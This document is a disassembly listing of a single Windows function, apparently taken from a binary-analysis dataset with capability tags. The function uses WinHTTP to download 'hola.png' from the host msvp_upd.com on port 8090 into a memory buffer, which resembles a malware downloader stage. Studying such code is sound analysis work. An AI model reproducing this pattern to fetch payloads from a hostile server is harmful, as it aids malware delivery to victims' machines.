Function at 0x140001070
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rsi
push r13
push r15
lea rbp, [rsp - 0x9d0]
sub rsp, 0xad0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x9c0], rax
xor esi, esi
lea rcx, str.A_WinHTTP_Example_Program_1.0
mov r13, rdx
mov dword [rbp - 0x4c], esi
xor edx, edx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov ebx, esi
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x1400010d6
lea rcx, str.Error_al_abrir_la_sesi
call fcn.140001010
xor eax, eax
jmp 0x140001351
xorps xmm0, xmm0
mov qword [rsp + 0xb10], r12
xor eax, eax
lea r9, [rsp + 0x40]
mov qword [rbp - 0x60], rax
lea rcx, str.http:__msvp_upd.com:8090_hola.png
lea rax, [rbp - 0x40]
xor r8d, r8d
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
xor edx, edx
lea rax, [rbp + 0x1c0]
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x40], 0x68
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x60], 0x100
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x78], rax
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x70], 0x400
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
movzx r8d, word [rsp + 0x64]
xor r9d, r9d
mov rdx, qword [rsp + 0x58]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
jne 0x140001180
lea rcx, str.Error_al_conectar_con_el_servidor._n
call fcn.140001010
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140001349
cmp dword [rsp + 0x54], 2
lea rdx, [0x140003380]
mov r8, qword [rbp - 0x78]
mov eax, esi
mov ecx, 0x800000
mov qword [rsp + 0xb00], rdi
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
jne 0x1400011d2
lea rcx, str.Error_al_abrir_la_solicitud_HTTP._n
call fcn.140001010
jmp 0x140001221
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], esi
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x1400011fd
lea rcx, str.Error_al_enviar_la_solicitud._n
jmp 0x140001213
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x14000123a
lea rcx, str.Error_al_recibir_la_respuesta_del_servidor._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140001341
mov qword [rsp + 0xb18], r14
mov r14d, 0x2000
mov ecx, r14d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140001290
lea rcx, str.Error_al_reservar_memoria_para_el_buffer._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140001339
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000130b
mov r8d, dword [rbp - 0x50]
test r8d, r8d
je 0x140001317
lea eax, [r8 + rbx]
cmp eax, r14d
jbe 0x1400012d4
mov edx, eax
mov rcx, rsi
mov r14d, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x1400012f9
mov r8d, dword [rbp - 0x50]
mov rsi, rax
mov edx, ebx
lea r9, [rbp - 0x4c]
add rdx, rsi
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140001302
mov eax, dword [rbp - 0x4c]
test eax, eax
je 0x140001302
add ebx, eax
test eax, eax
jne 0x140001290
jmp 0x140001317
lea rcx, str.Error_al_agrandar_el_buffer._n
jmp 0x140001312
lea rcx, str.Error_al_leer_los_datos._n
jmp 0x140001312
lea rcx, str.Error_al_consultar_la_cantidad_de_datos_disponibles._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, rsi
mov dword [r13], ebx
mov r14, qword [rsp + 0xb18]
mov rdi, qword [rsp + 0xb00]
mov r12, qword [rsp + 0xb10]
mov rcx, qword [rbp + 0x9c0]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0xad0
pop r15
pop r13
pop rsi
pop rbx
pop rbp
ret